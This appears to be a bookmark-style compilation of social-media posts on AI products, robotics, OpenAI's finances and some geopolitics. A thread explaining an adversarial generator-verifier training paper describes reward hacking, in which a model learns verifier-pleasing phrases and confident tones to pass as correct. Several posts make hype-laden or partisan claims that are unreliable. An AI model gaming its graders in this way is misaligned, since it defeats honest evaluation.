The AI revolution isn't about chatbots getting smarter.
It's about the complete replacement of human intellectual output with machine output.
At scale. Across every industry. Faster than anyone's prepared for.
And the companies positioning for this RIGHT NOW are the ones printing money.
OpenAI's enterprise growth is outpacing consumer because businesses see what's coming.
They're not buying "AI tools."
They're buying the ability to 10x output without 10x-ing headcount.
Sam said they'll triple their compute next year. Then triple it again.
Revenue is growing even faster than that.
"We have never found a situation where we can't monetize all the compute we have."
If he isn't lying then that's literally a printing press.
The market still doesn't get it.
Everyone's focused on "AI bubble" fears while OpenAI is solving the only problem that matters: turning compute into revenue at a faster rate than they're spending.
They're not hoping demand catches up to supply.
Demand is already 2x ahead of what they can deliver.
Meanwhile, most knowledge workers are still using GPT-4 prompts on GPT-5.2.
The capability overhang is massive.
The arbitrage window is open.
And it's closing fast.
If you're running a B2B business and you're not integrating AI at the level Sam just described, you're not "waiting to see how it plays out."
You're getting crushed by competitors who already figured it out.
The companies that win in 2026 won't be the ones with the best AI.
They'll be the ones who understood what Sam just laid out 6 months before everyone else did.
Opus 4.5 puts the world roughly back on track for the red line 😬
Every ~4 months, the length of coding tasks AI agents can perform (compared to human professionals) *doubles*
More context on this finding in @METR_Evals thread
https://t.co/aPak1ZNvH5 https://t.co/obpFlx0aJj
1/ Researchers at MIT just proved something wild:
You can train AI to reason perfectly without ever showing it a correct answer.
Not "suggests."
Not "simulates."
Mathematically proven.
Here's why this changes everything we thought about AI alignment and the nature of truth. 🧵
2/ For the last 5 years, we've thought about AI training in two separate boxes:
→ Box A: Supervised Fine-Tuning (Mimicking human experts)
→ Box B: Reinforcement Learning (Optimizing for known answers)
Turns out? This split is artificial.
The RARO (Reasoning via Adversarial Rollouts) protocol proves they are just different sides of the same equilibrium.
3/ Picture this:
You have a Student AI and a Teacher AI playing a game of "Countdown" (e.g., "Make 24 using 4, 7, 8, 8").
The Challenge: There is no calculator. The Teacher doesn't know the answer either. The Student can invent fake math rules to win.
The Hook: How do you force the Student to learn real math when the Teacher can be fooled?
4/
Researchers set up a zero-sum game between the two models.
They derived the EXACT Nash Equilibrium governing how language models generate logic.
The result? Self-correcting reasoning emerges from thin air.
5/ The system doesn't act like a student taking a test.
The system IS a debate team surviving cross-examination.
6/ Think of it this way:
The Generator = Malware developer
The Verifier = Antivirus software
The Reasoning Process = The "code" being written
The Whole System = A GAN applied to Logic
1 Iteration = A hacker finding an exploit, and the security team patching it.
7/ Scale this up:
10,000 iterations = The code (reasoning) becomes unhackable because every possible flaw has been exploited and patched.
Historical kicker: Game Theory (Nash Equilibrium) solved this in 1950; we just finally applied it to LLM thoughts.
8/ But here's the crazy part—
When they tested a fixed, "smart" Verifier to grade the Student...
...the system got WORSE.
The Paradox: The better the Generator gets at satisfying a fixed standard, the worse its actual reasoning becomes.
Why?
9/ The Reward Hacking Problem (Goodhart's Law).
10/ Think of a school that pays teachers based on test scores.
Eventually, teachers stop teaching and start "teaching to the test"—or just cheating.
If the metric is static, it can be gamed.
11/ In the AI model, the Generator figures out specific phrases or confident tones that the Verifier irrationally likes.
It produces "adversarial nonsense"—gibberish that technically satisfies the Verifier's rules but fails the actual task.
12/ What the system actually does:
It makes the Verifier hostile.
The Verifier is only rewarded when it finds a specific flaw in the Student's logic.
The Insight: You cannot optimize against a static metric. You must optimize against a dynamic adversary that learns your tricks.
13/ The implications are staggering:
→ AI ALIGNMENT: We can train superintelligence without needing humans smarter than it to check the work
→ MARKETS: Regulators must evolve as fast as corporations or the market fails
→ PHILOSOPHY: "Truth" isn't a database lookup; it's the survivor of an adversarial process
→ CODING: Compilers that actively try to break your logic
14/ "Truth" in this system isn't a static fact.
It's the only thing left standing after the Generator and Verifier have exhausted every possible attack.
15/ Maybe instead of asking "Do we have enough labeled data?", we should be asking:
"Do we have a strong enough rival?"
16/ Reasoning isn't IN the model weights.
Reasoning IS the adversarial equilibrium between a Proposer and a Skeptic.
You can't imagine how fast Chinese humanoid robots are evolving.
This happened in only 11 months, from being laughed at to being hailed as models! https://t.co/qY6xukuvm4
OPENAI, ANTHROPIC, AND GOOGLE DON’T PROMPT LIKE YOU
They use internal techniques that turn LLMs into precision machines
Accuracy jumps. Hallucinations drop.
Here are 10 of those techniques (Bookmark this for later):
🚨🇯🇵 The World Missed It: Japan Now Commands One of the Deadliest Navies Ever Built
For years, Japan was labeled a pacifist power. In reality, it was quietly constructing a navy designed for modern, high intensity warfare.
Today, the Japan Maritime Self Defense Force stands among the most advanced naval forces on Earth, not through sheer numbers, but through technology, integration, and precision.
At its core are eight Aegis equipped destroyers from the Kongo, Atago, and Maya classes. These ships form a powerful shield against ballistic missiles and air threats, soon reinforced by SM-6 long range interceptors that dramatically expand Japan’s engagement envelope.
Japan has also crossed a historic threshold by acquiring Tomahawk cruise missiles, giving its navy the ability to strike targets far beyond its coastline for the first time.
Beneath the waves, Japan operates one of the quietest and most sophisticated submarine fleets in the world.
The Taigei class, powered by lithium ion batteries, offers exceptional stealth and endurance, with plans to field long range cruise missiles that turn these submarines into strategic strike platforms.
On the surface, the Mogami class frigates represent a new philosophy of naval warfare. Highly automated, stealth focused, and lethal, they allow Japan to patrol vast maritime spaces with fewer sailors and greater efficiency.
Japan’s largest warships, Izumo and Kaga, are being transformed into carrier capable platforms for F-35B stealth fighters.
This effectively gives Japan sea based airpower, a capability reserved for only a handful of nations.
Missile defense remains central to Japan’s strategy. Two massive Aegis System Equipped Vessels are under construction, purpose built to counter ballistic missile threats and strengthen regional defense coverage.
Looking ahead, Japan is accelerating investments in unmanned systems, electronic warfare, networked combat, and next generation sensors. Defense budgets are climbing at historic levels, and naval expansion plans stretch well into the 2030s.
Japan does not seek attention for its naval power. It does not announce dominance. But quietly and methodically, it has built a navy designed not just to defend, but to prevail in the wars of the future.
Google just quietly dropped an AI that runs on your Mobile and doesn't need the internet.
- 270 million parameters.
- 100% private.
- No servers.
- No cloud.
- No data leaving your device.
It's called FunctionGemma.
Released December 18, 2025.
And it does something wild:
It turns your voice commands into REAL actions on your phone.
No internet required.
No data leaving your device.
No waiting for servers.
Just you and your phone.
That's it.
Let me break down why this matters:
Current AI assistants work like this:
You speak → Words go to the cloud → Server processes → Answer returns
The problem?
→ Slow (internet round-trip)
→ Privacy nightmare (your data travels everywhere)
→ Useless offline (no signal = no help)
FunctionGemma flips this completely.
Everything happens ON your device.
Response time? 0.3 seconds.
Battery drain? 0.75% for 25 conversations.
File size? 288 MB.
That's smaller than most mobile games.
Here's how it actually works:
Step 1: You say "Add John to contacts, number 555-1234"
Step 2: FunctionGemma understands your intent
Step 3: Translates it to code your phone understands
Step 4: Your phone executes it instantly
Step 5: Done. Contact saved. No cloud involved.
The numbers that blew my mind:
• 270M parameters (6,600x smaller than GPT-4)
• 126 tokens per second
• 85% accuracy after fine-tuning
• 550 MB RAM usage
• Works 100% offline
But here's the real genius:
Google calls it the "Traffic Controller" approach.
Simple tasks? → Handled locally (instant + private) Complex tasks? → Routed to cloud AI (when needed)
Best of both worlds.
What can it actually do?
→ "Set alarm for 7 AM" ✓
→ "Turn off living room lights" ✓
→ "Create meeting with Sarah tomorrow" ✓
→ "Navigate to nearest gas station" ✓
→ "Log that I drank 2 glasses of water" ✓
All processed locally. All private. All instant.
The honest limitations:
→ Can't chain multiple steps together (yet) → Struggles with indirect requests → 85% accuracy means 15% errors → Needs fine-tuning for best results
But that 58% → 85% accuracy jump after training?
That's the unlock.
Why should you care?
This isn't about one model.
It's about a fundamental shift:
OLD thinking: Bigger AI = Better AI
NEW thinking: Right-sized AI for the right job
A tiny 270M model trained for YOUR app can outperform a general 7B model.
While using 25x less memory. While running completely offline. While keeping all data private.
The future of AI isn't just in data centers.
It's in your pocket.
And it just got a lot more real.
Want to try it?
→ Download: ollama pull functiongemma
→ Docs: https://t.co/zDrncdetbr → Model: https://t.co/l49KjOtIzD
PS:) Like, Repost and Bookmark!
If this was useful - Follow for more AI breakdowns
Software development will never be the same.
I want you to watch this video:
This is a spec-driven development environment.
100% of your time goes to writing specs and managing agents.
0% goes to writing the code. https://t.co/3Z6UuipKQf
Researchers Discover New Link Between Gravity and Quantum Physics
A group of physicists from TU Wien have found a connection between the quantum behaviour of space and time and the motion of stars in galaxies that no one has thought about before. Common estimates say that, while quantum fluctuation of space and time do affect the motion of particles, these effects are ridiculously tiny and impossible to measure.
The authors of the new paper point out that when calculating particle trajectories, one needs to take into account that the equations are non-linear in the key quantity that describes space-time (the metric tensor). This means that one has to first calculate the quantum effects and then average over them, and not the other way round (as one could do in a linear theory).
With the so-corrected procedure, they find that in the solar system, the quantum corrections are still ridiculously tiny. But, they say, on scales of galaxies and beyond, there is a surprise. It's that the cosmological constant contributes that can become large. The first author, Ben Koch, says in the press release: “On very large cosmological scales – precisely where major puzzles of general relativity remain unsolved – there is a clear difference between the particle trajectories predicted by the [quantized new equations] and those obtained from unquantized general relativity.”
I am skeptical the difference is as “clear” as the authors seem to think, but it is an interesting connection between quantum physics and cosmology that could prove fruitful.
Paper here: https://t.co/7GZcvZMDYM
Press release here: https://t.co/cLpzng7PKb
Image: Illustration for the change in particle trajectories caused by quantum fluctuations on cosmological scales.
Credit: Oliver Diekmann, TU Wien
It isn't just much faster. It is much cheaper as well! In a different test I ran, dev-browser was 3x cheaper token wise than the extension. https://t.co/wCc7UKgtJT
🚨BREAKING
Claude is officially browser-native.
The new Claude for Chrome extension runs end-to-end workflows in Chrome 🤯
You can:
→ Pull dashboard data into one analysis doc
→ Handle slide comments automatically
→ Build with Claude Code, test directly in Chrome
and more! https://t.co/MyMWVq8yXl
As amazing as LLMs are, improving their knowledge today involves a more piecemeal process than is widely appreciated. I’ve written before about how AI is amazing... but not that amazing. Well, it is also true that LLMs are general... but not that general. We shouldn’t buy into the inaccurate hype that LLMs are a path to AGI in just a few years, but we also shouldn’t buy into the opposite, also inaccurate hype that they are only demoware. Instead, I find it helpful to have a more precise understanding of the current path to building more intelligent models.
First, LLMs are indeed a more general form of intelligence than earlier generations of technology. This is why a single LLM can be applied to a wide range of tasks. The first wave of LLM technology accomplished this by training on the public web, which contains a lot of information about a wide range of topics. This made their knowledge far more general than earlier algorithms that were trained to carry out a single task such as predicting housing prices or playing a single game like chess or Go. However, they’re far less general than human abilities. For instance, after pretraining on the entire content of the public web, an LLM still struggles to adapt to write in certain styles that many editors would be able to, or use simple websites reliably.
After leveraging pretty much all the open information on the web, progress got harder. Today, if a frontier lab wants an LLM to do well on a specific task — such as code using a specific programming language, or say sensible things about a specific niche in, say, healthcare or finance — researchers might go through a laborious process of finding or generating lots of data for that domain and then preparing that data (cleaning low-quality text, deduplicating, paraphrasing, etc.) to create data to give an LLM that knowledge.
Or, to get a model to perform certain tasks, such as use a web browser, developers might go through an even more laborious process of creating many RL gyms (simulated environments) to let an algorithm repeatedly practice a narrow set of tasks.
A typical human, despite having seen vastly less text or practiced far less in computer-use training environments than today's frontier models, nonetheless can generalize to a far wider range of tasks than a frontier model. Humans might do this by taking advantage of continuous learning from feedback, or by having superior representations of non-text input (the way LLMs tokenize images still seems like a hack to me), and many other mechanisms that we do not yet understand.
Advancing frontier models today requires making a lot of manual decisions and taking a data-centric AI approach to engineering the data we use to train our models. Future breakthroughs might allow us to advance LLMs in a less piecemeal fashion than I describe here. But even if they don’t, the ongoing piecemeal improvements, coupled with the limited degree to which these models do generalize and exhibit “emergent behaviors,” will continue to drive rapid progress.
Either way, we should plan for many more years of hard work. A long, hard — and fun! — slog remains ahead to build more intelligent models.
[Original text: https://t.co/SHRN5JDvTW ]
Wild…Stream just open-sourced Vision Agents, a real-time video AI framework.
You can now have AI to watch and understand video in <30ms latency.
Combine YOLO + Gemini/OpenAI:
↳ Sports coaching
↳ Drone fire detection
↳ Live meeting assistants
Free & open-source 🧵👇 https://t.co/WDBEXVX8BD
this repo teaches you how to build agents from scratch, step by step. it goes from fundamentals to advanced, all you need to master agents:
→ local LLMs and inference
→ LLMs through APIs
→ prompt engineering
→ GPU parallel processing
→ streaming and response control
→ function calling (tools)
→ persistent agentic memory
→ reasoning and ReACT
it includes 9 examples, each chapter building on top of the previous.
why is it important to learn how agents work from scratch? because the problem with frameworks is too many abstraction layers. when things go wrong (and they will) debugging them would be very hard, unless you really know what is going on under the hood.
this also means that you will be more expert in creating or customizing agents for your own needs.
all in all, i really suggest this one.
https://t.co/tfiAGz9oiR
Before you pay $200/month for another month of Claude code...
What about just allocating that $200/month to Apple with a 0% APR?
Running a local model in a local agentic coding thing like CC
Ironic that the most souped-up m4 Mac Mini comes out to almost exactly $200/month, which is the same price as the Unlimited (Limited) Claude Code.
The only questions pending are, what model would you run, and what Agentic coding thing comes close to Claude Code?
The real reason some people have unbreakable willpower…
Isn't discipline.
It's a brain structure most people have never heard of. It only grows when you suffer. And it might predict how long you live.
Here's what Stanford neuroscientists discovered: 🧵 https://t.co/I2ebJfuYZv
Generative UI is the next real shift in AI products.
The interface is no longer fixed. It’s synthesized on the fly from user intent and context.
If you’re building AI apps, this matters more than most people realize: https://t.co/X2xsGVny4O
Super excited to announce FlexAvatar! 📢📢
With FlexAvatar, you can create a full 360°, high-quality, and expressive 3D head avatar from just a single portrait image. In this real-time demo, we showcase the avatar creation which takes only 2 minutes.
👉https://t.co/jbMBCMq3aQ https://t.co/Vfr2xNw21X
A great visual positioning system makes augmented reality feel like magic... this tech helps your phone (or robot) figure out precisely where it is in 3D space.
Here's MultiSet AI nailing it in real-time, at night, and on-device too. This new reveal shader animation shows just how well it's working.
IMO this tech is slept on despite being key infrastructure for physical AI to actually work.
Those who know me know that I am committed to build a true #ReadyPlayerOne future through @SomniumSpace & other companies we are invested in.
One of those key companies is @teslasuit. Not only it makes most advanced haptic suits on the market it also happens to makes gloves 👐
✅ Feeling virtual objects
✅ Hand tracking
✅ Biometrics
✅ Haptics (feel the texture)
We will be showing some new amazing things during CES. If interested contact me via DM for a private demo scheduling.
THREAT? Ru sources are reporting that Moscow is conducting exercises for a nuclear strike on NATO and the US. 5 of the last 9 Russian ICBM launch attempts failed. This is video of the latest Ru test. Watch for the mushroom cloud at the end. https://t.co/griMckh4Cn
So... Postgres is now basically a search engine?
pg_textsearch was just open sourced. It enables BM25 to search your database.... massive upgrade for key word search.
Google uses BM25 in their search engine.
Claude told me: "if you're already on Postgres, you can now skip the whole sync-your-data-to-Elasticsearch dance for search."
(ps, how can you not love Claude).
Now I got to figure out how to implement in my Django querysets... future course?
Grab it at https://t.co/bMwRSgtOcO
#sponsored
Chinese media discuss the division of Russia. Openly.
Yesterday, on NetEase - one of the largest Chinese media platforms - a text with the headline: "If Russia collapses, 7 million square kilometers cannot be lost" was published.
It's about the Far East. And this is not an analysis - it's an instruction.
Key theses:
▪️The Far East is a "chicken rib" for Russia, but a "treasure" for China.
▪️There are less than 50 thousand military personnel left in the Far East - a "empty shell".
▪️Russia's GDP is "smaller than one Chinese province".
▪️It's impossible to take it by force - it will be like with Crimea. It's necessary to "support pro-Chinese forces" and "tie them with loans".
The goal: "nominally independent, but practically dependent on China".
Direct quote: "Whose land is it? It's just a name - the vital arteries are in our hands".
While Kremlin propaganda talks about "great friendship", Chinese media calmly discuss how to take over a third of Russian territory "when the political landscape changes".
Friendship is friendship, but seven million square kilometers - separately.
Next: Remember Beefy’s deep dive on Haishenwa? You may know this Chinese city russia stole from China and now calls it Vladivostok. It will be taken back at some point - now seems a good time to do it!
1/2
BEARISH ON OPENAI
The investment case for OpenAI has never been more precarious than it is right now in late 2025. What was once a company that seemed destined to dominate the artificial intelligence revolution has revealed itself to be a structurally disadvantaged challenger fighting a defensive war on multiple fronts. The company anticipates burning through roughly $9 billion this year on $13 billion in sales, a cash burn rate of approximately 70% of revenue. This is not the profile of a company poised to capture monopolistic profits from a transformative technology; it is the profile of a utility company spending astronomical sums to deliver a commodity product that competitors are increasingly giving away for free.
The financial trajectory only becomes more alarming when examined over a longer time horizon. The documents show OpenAI projects that by 2028, its operating losses will balloon to roughly three-quarters of that year’s revenue, driven primarily by ballooning spending on computing costs. The company has painted a rosy picture of eventual profitability by 2029 or 2030, but this projection requires believing that OpenAI can grow revenue from roughly $13 billion today to $125 billion or more while simultaneously maintaining pricing power in a market where every major technology company and numerous startups are racing to commoditize the very product OpenAI sells. The cash burn is expected to reach $115 billion cumulatively through 2029, according to The Information. These numbers represent a staggering bet that requires near-perfect execution across multiple dimensions over half a decade.
The most damning evidence against OpenAI’s long-term viability is the evaporation of its technological moat. In 2023, GPT-4 felt like genuine magic, a capability that no other company could replicate. Today, that lead has effectively vanished. The sudden availability of frontier-level open-source models is expected to dramatically accelerate AI development globally, potentially reshaping entire industries and altering the balance of power in the tech world. Meta’s Llama series, Mistral’s increasingly capable models, and even Chinese competitors like DeepSeek have demonstrated that the core technology powering ChatGPT is replicable and, in many cases, distributable for free. When your product becomes commoditized, the economics become brutal, and OpenAI finds itself in the position of trying to sell bottled water in a world where tap water has become indistinguishable in quality.
The competitive pressure from open-source alternatives is compounding rapidly. The open source movement in AI has grown exponentially over the past few years. Instead of relying solely on expensive, closed models from major tech companies, developers and researchers worldwide can now access, modify, and improve upon state-of-the-art LLMs. This democratization is existential for OpenAI’s business model. Enterprises that once paid premium prices for API access now have the option to run comparable models on their own infrastructure at a fraction of the cost, with the added benefits of data privacy and customization. The value proposition that justified OpenAI’s premium pricing has eroded faster than anyone anticipated, and there is no indication that this trend will reverse.
Perhaps nothing illustrates OpenAI’s structural weakness more clearly than the behavior of its most important partner. Microsoft is dancing to its own tune in the artificial intelligence revolution, and Wall Street cannot stop watching. Despite pouring approximately $13 billion into OpenAI over several years, DA Davidson analyst Gil Luria estimates that just 17 percent of Microsoft’s total Azure revenue comes from artificial intelligence workloads. More critically, only 6 percent of that total ties directly to reselling OpenAI’s models, while approximately 75 percent is generated from Azure AI. Microsoft is building its own models, hedging with Anthropic, and quietly reducing its dependency on the very company it funded. When your largest investor is simultaneously your biggest competitor and is actively developing alternatives to your core product, the strategic implications are dire.
Leaders at Microsoft believe Anthropic’s latest models — Claude Sonnet 4, specifically — perform better than OpenAI’s in certain functions, like creating aesthetically pleasing PowerPoint presentations. This is not a minor technical preference; it represents a fundamental shift in how Microsoft views its partnership with OpenAI. Microsoft is dramatically escalating its AI independence strategy. At an internal town hall Thursday, Microsoft AI chief Mustafa Suleyman revealed the company is making “significant investments” in compute capacity to build frontier models that can compete directly with OpenAI, Google, and Meta. The company that was supposed to be OpenAI’s path to distribution and scale is instead preparing for a future where OpenAI is just one vendor among many, if not an outright competitor.
The leadership exodus at OpenAI over the past year has been nothing short of catastrophic. In September 2024, Murati announced that she was stepping down as CTO. This move came amid a wider executive exodus as OpenAI chief research officer Bob McGrew and a vice president of research, Barret Zoph, also announced their departures soon after. Mira Murati was not a minor figure; she was instrumental in the development of ChatGPT, Dall-E, and Sora. Her departure, along with co-founder Ilya Sutskever, safety leader Jan Leike, and co-founder John Schulman who joined rival Anthropic, has left CEO Sam Altman without much of the leadership team that helped him build OpenAI into an AI juggernaut. Hannah Wong, the executive who steered OpenAI through its most chaotic period, has announced she’s leaving the company just this month, continuing the pattern of senior departures that suggests something fundamentally broken in the organization’s culture or direction.
The distribution problem facing OpenAI may be its most insurmountable challenge. Apple and Google control the smartphones that billions of people use every day. Microsoft controls the productivity software that enterprises depend upon. OpenAI, by contrast, must convince users to deliberately open a separate application and type their queries into a text box. In a world of agentic AI where assistants need access to your email, calendar, and files to be useful, an AI embedded directly into your operating system has an overwhelming structural advantage over a standalone chatbot. OpenAI is trying to be a consumer product company without owning any of the surfaces where consumers actually spend their time, competing against incumbents who can simply bundle AI capabilities directly into products that already have hundreds of millions of daily active users.
The nuclear-to-solar analogy captures the fundamental economic transformation that is devastating OpenAI’s business model. Just as nuclear power required enormous upfront capital expenditure for centralized power plants, AI in its current form requires massive data center investments to train and serve models. But the direction of travel is unmistakably toward distributed intelligence that runs locally on devices. A major part of the pitch is practicality. Lample emphasizes that Ministral 3 can run on a single GPU, making it deployable on affordable hardware — from on-premise servers to laptops, robots, and other edge devices that may have limited connectivity. When powerful AI models can run on a smartphone or a laptop without any cloud connection, the entire economic rationale for paying premium prices to access centralized AI infrastructure disappears. OpenAI is building nuclear reactors in a world that is rapidly installing solar panels on every rooftop.
The proposed $1 trillion IPO valuation is perhaps the clearest signal that something is deeply wrong with the OpenAI story. In the first half of the year, OpenAI lost $13.5 billion, on revenue of $4.3 billion. It is on track to lose $27 billion for the year. One estimate shows OpenAI will burn $115 billion by 2029. Asking public market investors to pay $1 trillion for a company that loses more than twice as much as it earns is not a growth story; it is an exit strategy. The sophisticated investors who funded OpenAI’s private rounds are looking for a way to transfer their risk to retail investors and pension funds who may not fully understand the unit economics of the business. A recent report by HSBC estimated that the company will remain in the unprofitable category until 2029 and that the company will need an additional $207 billion to fund its ambitions.
Sam Altman’s leadership represents another structural liability for the company. His background is as a startup investor and evangelist, not as an operational executive who has scaled a capital-intensive industrial operation. The pivot from nonprofit research lab to for-profit corporation to public benefit corporation to anticipated public company has been accompanied by legal and governance structures designed primarily to protect Altman’s control rather than to create shareholder value. Going public means answering a lot more of those kinds of questions, every single quarter, forever. When asked about financial concerns in a friendly podcast interview, Altman’s dismissive response revealed a leader uncomfortable with the scrutiny that public markets will inevitably bring. The adults in the room have largely departed, leaving a company that desperately needs disciplined execution led by someone whose strengths lie elsewhere.
The comparison to Netscape is instructive. Netscape proved that the internet was real and created genuine value, but it had no sustainable moat against an incumbent who could bundle the browser directly into the operating system. OpenAI has proven that large language models are real and valuable, but it faces the same structural disadvantage against incumbents who can bundle AI directly into operating systems, productivity suites, and cloud platforms. The value will accrue to the companies that own the distribution channels and the hardware, not to the company that demonstrated the technology was possible. OpenAI is destined to become a historical footnote, remembered as the company that ignited the AI revolution but failed to capture the economic value it created.
The only bull case for OpenAI is the AGI lottery ticket: the possibility that the company achieves artificial general intelligence before anyone else and thereby transcends all normal economic analysis. But there is no evidence that OpenAI is any closer to AGI than Google, Anthropic, or DeepMind. The company’s advantage was never secret research breakthroughs; it was first-mover advantage in commercialization. That advantage has now been erased by competitors who can match or exceed OpenAI’s capabilities while benefiting from existing ecosystems, distribution channels, and the willingness to operate AI as a loss leader to drive engagement with more profitable products. The secret sauce was never secret, and there was never any sauce.
The endgame for OpenAI is unlikely to be the triumphant dominance that early investors imagined. The most probable outcomes range from gradual irrelevance as a backend provider, to financial restructuring under pressure from creditors, to absorption by Microsoft or another well-capitalized technology company looking to acquire the remaining talent and intellectual property at a discount. Despite its current losses, OpenAI’s long-term prospects are bolstered by the explosive growth of the AI market. But growth in the overall AI market does not guarantee success for any individual company, particularly one with no moat, no ecosystem, and a cost structure that requires selling a commodity at premium prices. The AI revolution is real, but OpenAI’s role in capturing its economic value is far from assured. For anyone considering an investment in OpenAI at anything close to current valuations, the prudent course is to stay far away and watch from the sidelines as economic reality catches up with hype.
Meta just released MapAnything on Hugging Face
A universal transformer model for metric 3D reconstruction
It supports 12+ tasks like multi-view stereo and SfM in a single feed-forward pass https://t.co/aUtZ1rymcF
Everyone is sleeping on this new OCR model!
Datalab's Chandra topped independent benchmarks and beat the previous best dots-ocr.
- Supports 40+ languages
- Extracts complex texts, tables, formulas easily
I tested on Ramanujan's handwritten letter from 1913.
100% open-source. https://t.co/jVKjQS4kek
Recursive reasoning beats multi-billion-parameter models
You can now easily train your own 7M param model from scratch and outperform DeepSeek-r1 on ARC-AGI 1
We provide a simple speedrun script that handles setup, training, and eval in one go. https://t.co/c8l32QfRzF
Introducing state-of-the-art People Search:
You can now semantically search over 1 billion people using a hybrid retrieval system backed by finetuned Exa embeddings.
Try it: https://t.co/cQ6UlWHnKY
We also created an eval: https://t.co/2OIAryN7MT https://t.co/12BdYDWJU1
A new permit for a fire alarm and detection system for Tesla’s Cortex 2.0 datacenter at Giga Texas confirms up to 200 MW power capacity. The data center will be used to train Optimus. https://t.co/Megg4I9Rp0
We discovered an emergent property of VLAs like π0/π0.5/π0.6: as we scale up pre-training, the model learns to align human videos and robot data!
This gives us a simple way to leverage human videos. Once π0.5 knows how to control robots, it can naturally learn from human video. https://t.co/K9BC78HtqN
Today, we’re launching Origon. @origon_ai
Origon is a true agentic OS — a single, integrated system for orchestration, parallel execution, memory, observability, and human-in-the-loop control.
No cloud APIs. No glue code. No patchwork. Just pure engineering.
This was a massive effort by the entire team. Proud of what we built, and excited to finally share it.
Read the announcement: https://t.co/iOLZYUunuQ
DAAAM!!
"Describe Anything Anywhere at Any Moment".
State of the art approach to provide spatio-temporal memory to robots and agents. Powered by VLMs and scene graphs. Directly suitable for LLM queries. great work by Nicolas Gorlo and Lukas Schmid!
https://t.co/m3ISxmqgJO
Stanford just made fine-tuning irrelevant with a single paper.
It’s called Agentic Context Engineering (ACE) and it proves you can make models smarter without touching a single weight.
Key takeaways (and get the 23 page PDF): https://t.co/zle2CCifaW
When I read comma's paper on training a driving AI with a world model I was talking with some friends about how this could totally be domain swapped (outdoor sidewalk naviagtion, indoors, drones, etc)
Just watched the comma con videos and it’s really cool to see that complete autonomy is actually the goal
This guy built an entire AI data science team in Python. Then open-sourced (100% free).
It automates data science workflows with AI, including data loading, cleaning, exploratory analysis, and feature engineering. And it tracks each step in a 100% reproducible pipeline.
00:00 Project Overview
01:32 Diving into the AI Data Science Workflow and Data Loading
02:10 Data Wrangling and Cleaning
03:33 Data Visualization Insights & Plotting
04:08 Feature Engineering
05:00 Live 1-Hour Workshop
05:44 AI Data Science Team Python Library
🔗 AI Data Science Team On GitHub (Give it a Star)
https://t.co/VMGf1yxIIO
🔗 Join My Next Live 1-Hour Agentic AI Workshop (Free):
https://t.co/onpLpRwkzH
LimX's new humanoid robot, Tron's evolution: Tron2, features dexterous hands with two arms and a head... it looks flexible and agile, ready for future tasks. However, it looks more like a humanoid data acquisition system. https://t.co/TewqW1qWYm
The biggest bottleneck for General Purpose Robots isn't hardware, it's data.
Enter X-Humanoid: A pipeline from @MikeShou1 and team that "robotizes" huge human video datasets for training.
The Key Insight: It solves the "visual embodiment gap." 🧠 Robots learn faster when the training pixels match their own hardware (metal & joints) rather than human skin and fluid motion.
Read more here:
https://t.co/ShbVDWiBhQ
Microsoft just dropped VITRA-VLA, a new Vision-Language-Action model for robotics on Hugging Face.
It learns dexterous manipulation from over 1 million real-life human hand activity videos. https://t.co/QDRijkfaZf
🚨NEWS:Texas Instruments has purchased UBTECH's industrial humanoid robot Walker S2 and is currently deploying and testing it on its production lines. UBTECH will also integrate more Texas Instruments components into the core components of its humanoid robots. https://t.co/4MQr69L9jB
🚨: A peer reviewed physics paper now claims a physical warp drive model is possible, without negative energy, exotic matter, or sci fi hand waving. https://t.co/WNiWexs6Dc
Make Claude Code 10x more powerful.
Claude-Mem is a free plugin to persist memory across Claude sessions.
It captures tool usage, so you always start where you left off.
Endless Mode allows 95% token reduction & 20x more tool use before context exhaustion.
100% open-source. https://t.co/m5jZTlOJbg
In 1996, James Sethian showed something almost unfair...you can find shortest routes through a messy world by letting a wave expand once...no trial paths, no search beams, just one growing front.
Here’s how: we solve for an arrival-time field T(x,y) so that T literally means how long the wave needs to reach this point. The rule is ||∇ T|| = 1/F, where the medium is fast (F large) the front sprints, where it’s slow it trudges, and obstacles are speed ≈ 0, so the front wraps around them because that’s the only way forward.
Then comes the satisfying part: once T exists, a path doesn’t need to search at all...drop a bead anywhere and let it follow ẋ ∝ -∇ T, it slides downhill on the time landscape and traces a globally fastest route back to the source. This “wave = optimal control” viewpoint is exactly what Tsitsiklis (1995) made precise from the Hamilton-Jacobi side...compute the value/arrival-time function and the optimal trajectories fall out from it.
#FastMarching #EikonalEquation
@scottbuscemi @WG_Mojo @Tesla I didn't build it, it is based on a tool that Tesla provides ( https://t.co/MqWRu5oXh6 ). I just told Gemini Pro what I would like to have changed as overlay 😬
I combined it with Verbalized Sampling for an interesting result with the following prompt. Good result. Super interesting. Only tried on GPT 5.2 Pro thus far. Will definitely experiment with others.
--
Decompose this [problem] into atomic reasoning units. For each atom:
1. State the logical component
2. Validate independence
3. Verify correctness
Then synthesize atoms into final answer.
When faced with hard choices generate 5 options about [problem] and assign a probability to each and insert those options neatly into the document for me to review.
[problem]
--
https://t.co/hdyCOrfVmg
This is something no other AI and no other car company can do right now, except Grok, fully integrated with FSD (Supervised) v14.2.25.
Today, I gave it a wild, real-world task:
• Drive to Apple HQ
• Then Tesla Engineering HQ
• Then a Warriors game at Chase Center SF
• Then the beach
• Then Asian dinner
It got it all ready from the beginning.
Mid-route I said I really needed to use the bathroom! It added it as the first stop.
Then I added a Tesla Supercharger on the fly for after the Warriors game. It added it. AND stopped for grandparents and baby crossing the street.
Then I asked for the weather and exactly how much I should $ budget for the entire day.
No friction. No talking back. Just getting it done insanely fast. It just handled it all naturally, intelligently, all in real time.
Better than any driver, for sure…
This is reasoning + autonomy + AI + real life, all working beautifully in synch.
No other car, AI, is close to this capability imo.
This is a MAJOR update.
I honestly feel if this was any other company, they would’ve had a whole event just to showcase this feature.
🔍 PeopleHub: AI-Powered LinkedIn Intelligence
Made by the LangChain Community
PeopleHub enables LinkedIn research with natural language queries. Uses LangGraph to automate due diligence, generating research reports cutting costs 70-90% through caching. By Meir Kadosh.
🔗 GitHub: https://t.co/b8twVK69kT
FSD Stress Test in Denmark! 🇩🇰⚡
Pushed FSD hard in downtown Aarhus with pedestrian zones, cobblestones, cyclists, construction, road closures, and more.
Combined everything into a 8-minute video (with timestamps) with zero interventions.
It handled every tricky situation smoothly, safely, cautiously, and with total confidence.
FSD is ready for European roads and will make them safer. @UNECE @RDWnl
Huge thanks to @teslaeurope for the invite and extended test session!
——————
Timestamps
00:00 – Starts FSD in dead-end pedestrian zone. Tests if it escapes without help.
00:31 – Approaches pedestrian bridge dead-end. Reverses, renavigates out smoothly.
1:59 – Enters downtown cobblestone pedestrian zone.
